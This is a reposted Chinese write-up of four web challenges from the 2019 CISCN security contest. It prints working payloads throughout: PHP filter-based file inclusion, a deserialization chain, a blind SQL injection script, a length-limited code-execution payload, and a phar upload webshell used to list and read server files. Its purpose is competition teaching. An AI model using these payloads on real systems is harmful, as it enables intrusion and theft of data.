2019全国大学生信息安全竞赛ciscn-writeup(4web)

web1-JustSoso

php伪协议获取源码

?file=php://filter/read=convert.base64-encode/resource=index.php

index.php

 1 
 2 php
 3 error_reporting(0); 
 4 $file = $_GET["file"]; 
 5 $payload = $_GET["payload"];
 6 if(!isset($file)){
 7     echo 'Missing parameter'.'
'; 8 } 9 if(preg_match("/flag/",$file)){ 10 die('hack attacked!!!'); 11 } 12 @include($file); 13 if(isset($payload)) 14 { 15 $url = parse_url($_SERVER['REQUEST_URI']); 16 parse_str($url['query'],$query); 17 foreach($query as $value) 18 { 19 if (preg_match("/flag/",$value)) { 20 die('stop hacking!'); 21 exit(); 22 } 23 24 } 25 $payload = unserialize($payload); 26 } 27 else{ 28 echo "Missing parameters"; 29 } 30 ?> 31 32 33

hint.php

 1 php  
 2 class Handle{ 
 3     private $handle;  
 4     public function __wakeup(){
 5             foreach(get_object_vars($this) as $k => $v) {
 6                     $this->$k = null;
 7             }
 8             echo "Waking up\n";
 9         }
10     public function __construct($handle) { 
11         $this->handle = $handle; 
12     } 
13     public function __destruct(){
14         $this->handle->getFlag();
15     }
16     }
17 
18 class Flag{
19  public $file;
20  public $token;
21  public $token_flag;
22  
23    function __construct($file){
24         $this->file = $file;
25         $this->token_flag = $this->token = md5(rand(1,10000));
26  }
27     
28     public function getFlag(){
29         $this->token_flag = md5(rand(1,10000));
30         if($this->token === $this->token_flag)
31         {
32             if(isset($this->file)){
33                 echo @highlight_file($this->file,true); 
34         }  
35   }
36     }
37 }
38 ?>

分析代码可以看出是要包含hint.php然后构造反序列化,拿到flag

有以下几个难点

1. parse_str不能出现flag

2. handle的wake会把变量清空

3. token===token_flag

根据一些以前做过的题目,找到对应可以使用这些方法,

1. 使用域名之后使用///

2. 将我们payload中O:6:"Handle":1改为O:6:"Handle":2

3. 使用引用,使token为token_flag的引用

2019全国大学生信息安全竞赛ciscn-writeup(4web)_第1张图片

最终payload:另外类中包含类用%00补全空缺的字符

///index.php?file=hint.php&payload=O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}

web2-全宇宙最简单的SQL

简单测试就可以确定username存在sql注入,且使用一些payload尝试会输出登录失败和数据库操作失败,

2019全国大学生信息安全竞赛ciscn-writeup(4web)_第2张图片

2019全国大学生信息安全竞赛ciscn-writeup(4web)_第3张图片

可以利用这点构造payload

尝试输入大整数~0

2019全国大学生信息安全竞赛ciscn-writeup(4web)_第4张图片

2019全国大学生信息安全竞赛ciscn-writeup(4web)_第5张图片 

简单测试后发现if,or,sleep,benchmark都被过滤了。

并且因为or被过滤无法从information_schema获取表名,字段等信息

好在简单猜出表名为user,一个字段为username,另一个大概率为password,没法确认

接下来需要进行同表查询

 1 #coding=utf-8
 2 import requests
 3 s=""
 4 url="http://39.97.227.64:52105/"
 5 for i in range(100):
 6     for j in range(30, 128):
 7         username="' and (select (ascii(substr((select t.2 from (select 1,2 from user union SELECT * from user )t LIMIT 1 OFFSET 1),{i},1))={j})+~0)#".format(i=i,j=j)
 8         data = {"username":username,"password":i}
 9         r=requests.post(url,data=data)
10         r=r.content
11         if '数据库操作失败!' in r:
12             s+=chr(j)
13             print s
14 print s #F1AG@1s-at_/fll1llag_h3r3

只获取用户名为admin,密码为F1AG@1s-at_/fll1llag_h3r3

进入后台发现是一个是一个mysql客户端,可以连接任意服务端,

这样的场景存在一个任意文件读的漏洞,前几天在ddctf中做过,所以直接将rogue_mysql_server.py部署好,需要读取的文件为/fll1llag_h3r3,输入ip地址读取即可

web3-love_math

这题很难很硬核,两个难点

1.只能使用白名单中的函数

2.输入长度小于80

这两点导致输入只能为数字,这点可以爆破,选出合计长度最短即可

1 for($i = 9;$i<=36;$i+=1)
2 echo base_convert(exec,34,$i).' '.$i."
";

经过前前后后多次调试,终于弄出一个合适payload

($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))

长度79,相当于exec('cat f*'),用system(cat *)长度会变为80。。

 

web4-RefSpace (没提交)

首先首页可以文件包含读源码

?route=php://filter/read=convert.base64-encode/resource=index

index.php

 1 php
 2 error_reporting(E_ALL);
 3 define('LFI', 'LFI');
 4 $lfi = $_GET['route'] ?? false;
 5 if (!$lfi) {
 6     header("location: ?route=app/index");
 7     exit();
 8 }
 9 include "{$lfi}.php";
10 //Good job, you know how to use LFI, don't you?
11 //But You are still far from flag
12 //hint: ?router=app/flag

app/flag.php

 1 php
 2 if (!defined('LFI')) {
 3     echo "Include me!";
 4     exit();
 5 }
 6 use interesting\FlagSDK;
 7 $sdk = new FlagSDK();
 8 $key = $_GET['key'] ?? false;
 9 if (!$key) {
10     echo "Please provide access key
"; 11 echo '$_GET["key"];'; 12 exit(); 13 } 14 $flag = $sdk->verify($key); 15 if ($flag) { 16 echo $flag; 17 } else { 18 echo "Wrong Key"; 19 exit(); 20 } 21 //Do you want to know more about this SDK? 22 //we 'accidentally' save a backup.zip for more information

backup.zip

2019全国大学生信息安全竞赛ciscn-writeup(4web)_第6张图片

 

在robots.txt中,发现上传点

2019全国大学生信息安全竞赛ciscn-writeup(4web)_第7张图片

简单测试发现只能上传jpg和gif,因为前面存在文件包含操作,故可以通过上传压缩包,然后使用phar命令执行代码

2019全国大学生信息安全竞赛ciscn-writeup(4web)_第8张图片

 

2019全国大学生信息安全竞赛ciscn-writeup(4web)_第9张图片

使用?route=phar://upload/eval.gif.gif/eval&cmd=code

发现system执行不了命令

执行了phpinfo();发现禁用大量函数,但没有禁用scandir和file_get_contents所以可以读代码

2019全国大学生信息安全竞赛ciscn-writeup(4web)_第10张图片

phar://upload/eval.gif.gif/eval&cmd=print_r(scandir("."));

2019全国大学生信息安全竞赛ciscn-writeup(4web)_第11张图片

发现flag.txt,但是被加密了

phar://upload/eval.gif.gif/eval&cmd=print_r(scandir("app"));

2019全国大学生信息安全竞赛ciscn-writeup(4web)_第12张图片

phar://upload/eval.gif.gif/eval&cmd=print_r(file_get_contents("app/Up10aD.php"));

 1 php
 2 if (!defined('LFI')) {
 3     echo "Include me!";
 4     exit();
 5 }
 6 
 7 if (isset($_FILES["file"])) {
 8     $filename = $_FILES["file"]["name"];
 9     $fileext = ".gif";
10     switch ($_FILES["file"]["type"]) {
11         case 'image/gif':
12             $fileext = ".gif";
13             break;
14         case 'image/jpeg':
15             $fileext = ".jpg";
16             break;
17         default:
18             echo "Only gif/jpg allowed";
19             exit();
20     }
21     $dst = "upload/" . $_FILES["file"]["name"] . $fileext;
22     move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
23     echo "文件保存位置: {$dst}
"; 24 } 25 ?> 26 27 28 29 30 31 32 33 我们不能让选手轻而易举的搜索到上传接口。
34 即便是运气好的人碰巧遇到了,我相信我们的过滤是万无一失的(才怪 35
36 37 38
39 40
41 42 43 44

phar://upload/eval.gif.gif/eval&cmd=print_r(file_get_contents("app/index.php"));

 1 php
 2 if (!defined('LFI')) {
 3     echo "Include me!";
 4     exit();
 5 }
 6 ?>
 7 
 8 
 9 
10     
11 
12 
13 
14 
15     Hi CTFer,
16 这是一个非常非常简单的SDK服务,它的任务是给各位大佬提供flag
17 Powered by Aoisystem
18 19 20 21 22

phar://upload/eval.gif.gif/eval&cmd=scandir("/");

发现/ctf目录可以读

phar://upload/eval.gif.gif/eval&cmd=print_r(scandir("/ctf"));

2019全国大学生信息安全竞赛ciscn-writeup(4web)_第13张图片

 

phar://upload/eval.gif.gif/eval&cmd=print_r(file_get_contents("/ctf/sdk.php"));

1 //CN: 这是一个使用商业代码保护工具加密的PHP文件,你并不需要解密它。EN: Advanced encrypted PHP File, You do not need to decrypt it.
2 return sg_load('A99ED...此处省略一万字...ATbQ8qZpbG56Q0FLEBD9HqiLuorcDsqfVG2iU//NLl9Hh8BwjQHcLfQOZ9nSeuSKrMFO6u06gAAAAA=');

phar://upload/eval.gif.gif/eval&cmd=print_r(file_get_contents("/ctf/ixed.lin"));

 返回一个elf文件,看起来是加密使用的,前面提示不需要破解,没有继续尝试。。。

现在看了所有代码后,发现只剩下sdk开发文档中的内容了。。

2019全国大学生信息安全竞赛ciscn-writeup(4web)_第14张图片

意思是我们要输入一个key与getHash一致,我们就能获得flag。

经过不知道多少尝试,查了多少资料,最终得到以下一些结论

1.getHash是一个私有方法

上传这样一个文件

2019全国大学生信息安全竞赛ciscn-writeup(4web)_第15张图片

包含,phar://upload/eval.gif.gif/flag

复习类相关后,懵逼了。。。我要怎么去获取一个私有方法的返回值?

判断处还是===,排除弱类型。

然后想起面向对象的三大特性,继承封装与多态,然后查询php相关,发现php的私有方法继承后也还是私有,那么尝试多态

我们可以通过继承然后重写getHash方法,但是这样,依然无法获取flag的值,重写后,返回值也被覆盖了。。。

再三思索。发现一个问题,能不能重写sha1函数?

经过查找与尝试发现可以,只要使用命名空间namespace就可以

尝试上传,访问

2019全国大学生信息安全竞赛ciscn-writeup(4web)_第16张图片

返回

尝试上传

2019全国大学生信息安全竞赛ciscn-writeup(4web)_第17张图片

返回为

2019全国大学生信息安全竞赛ciscn-writeup(4web)_第18张图片

这里心态又崩了,这个getHash八成是一个真的sha1的hash,只有输入真hash才能通过

那么就是说必须读取这个私有方法,接下来就是百度百度百度

2019全国大学生信息安全竞赛ciscn-writeup(4web)_第19张图片

发现有个反射可以读,结合题目名字refspace,space指namespace,那么ref一定是ReflectionClass!把文章中代码改了改上传。

2019全国大学生信息安全竞赛ciscn-writeup(4web)_第20张图片

获取hash,a356bc8d9d3e69beea3c15d40995f395425e7813

然后将代码改为如下,获取flag

2019全国大学生信息安全竞赛ciscn-writeup(4web)_第21张图片

 

转载于:https://www.cnblogs.com/kagari/p/10758155.html

你可能感兴趣的:(2019全国大学生信息安全竞赛ciscn-writeup(4web))